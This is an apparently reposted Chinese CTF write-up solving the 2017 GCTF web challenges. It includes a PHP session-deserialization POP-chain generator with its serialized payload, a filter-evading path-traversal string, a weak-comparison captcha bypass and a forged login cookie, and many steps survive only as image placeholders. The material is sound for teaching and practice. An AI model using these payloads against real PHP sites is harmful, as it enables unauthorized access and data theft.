2017 GCTF Web WriteUp

比赛的时候没来的及做听说很简单

0x01 条件竞争

看了逻辑之后就是个简单的竞争题目
利用burp爆破即可
reset
这里写图片描述
login
这里写图片描述
最后得到flag
这里写图片描述

0x02 PHP序列化

这一题也是比较老套的题目,看具体的分析过程
在主页面 使用的session解析方式是
ini_set('session.serialize_handler', 'php_serialize');
query.php界面是php的默认解析方式
具体的区别参照我以前写的博客

0x1 执行流程

在主页输入的src参数作为session的值存入服务器,当访问query.php时因为解析方法的不同使得session中的序列化的类被反序列化,因存在魔法函数导致了一系列的函数的执行,从而造成攻击

0x2 代码分析

找到备份文件query.php~

/************************/
/*
//query.php 閮ㄥ垎浠g爜
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //鎶辨瓑
        $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}
*/ 

大致的流程反序列化TOPC执行echo TOPB 触发TOPB的tostring方法,TOPB自带反序列化TOPA的函数,反序列化A后return 触发TOPA中的tostring

0x3 bypass

TOPC的

function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }

需要绕过,方法利用序列化变量值不同

TOPB的

if($this->obj->token === $this->obj->ticket)

不是弱类型比较,利用引用的方法

0x4 payload生成

$a = new TOPA();
$a->token = &$a->ticket;
$a->username = 'aaaaaaaaaaaaaaaaa';
$a->password = 'bbbbbbbbbbbbbbbbbb';
//这里在代码逻辑上是不用给username&password赋值的,估计是函数写错了 ,还有login函数是怎么触发的,如果是tostring函数逻辑上就将通了
$b = new TOPB();
$b->attr = serialize($a);

$c = new TOPC();
$c->attr = $b;


echo serialize($c));

0x5 利用

在首页输入src=|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:127:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaaa";s:8:"password";s:18:"bbbbbbbbbbbbbbbbbb";}";}}
在query.php即可找到key
这里写图片描述
这里写图片描述

0x03 读文件

这里写图片描述

点击1.txt
这里写图片描述

这里写图片描述
猜测代码是include或者是file_get_content
但不知道1.txt的目录在哪
尝试访问1.txt
这里写图片描述
估计在/a中的一个子目录下假设为/a/xxx/那么flag.php的位置应该是include的上级目录则是../flag.php因为./被替换成了空则上述字符串改写为…//fla./g.php
这里写图片描述

0x04 验证码

这又是一道关于验证码的题目。目前来说一些高级的验证码还是很安全的。这一题只是简单的验证码的实现,如果想知道原理可以参照我的另一篇博客

首先看这一题
这里写图片描述
验证码在验证的时候一般会有session会话
这里写图片描述
在验证的时候如果session检测这么写
$_POST['authcode'] == $_SESSION['authcode']
注意这里运用了弱类型比较
那么就有绕过的机会
当两者都为空的时候就可以绕过
此题我猜想就是这样
利用burp直接爆破
这里写图片描述

0x05 spring-css

直接网上查找cve
这里写图片描述

直接使用

这里写图片描述
发现flag位置
这里写图片描述

0x06 注入越权

这一题也是看过writeup写的,感觉一开始没有get到点,其实正过来向原理倒是挺简单的

看网页源码有提示,其实就是admin登录,利用update特性
首先它过滤了一些关键字符不能使用引号
看具体的注入代码

这里写图片描述

这里写图片描述

0x07 Forbidden

最开始想到的是XXF
不过到最后层层递加

这里写图片描述
解决什么问题自己百度吧
最后有个脑洞,话又说回来都是套路

4e6a59324d545a6a4e7a4d324e513d3d //16进制
NjY2MTZjNzM2NQ==//base64
66616c7365//16进制转字符
false

利用上述过程写出逆算法
得到4e7a51334d6a63314e6a553d  

放入cookie
login=4e7a51334d6a63314e6a553d
最后传过去比对即可
这里写图片描述

发布了99 篇原创文章 · 获赞 51 · 访问量 71万+

猜你喜欢

转载自blog.csdn.net/qq_31481187/article/details/73310650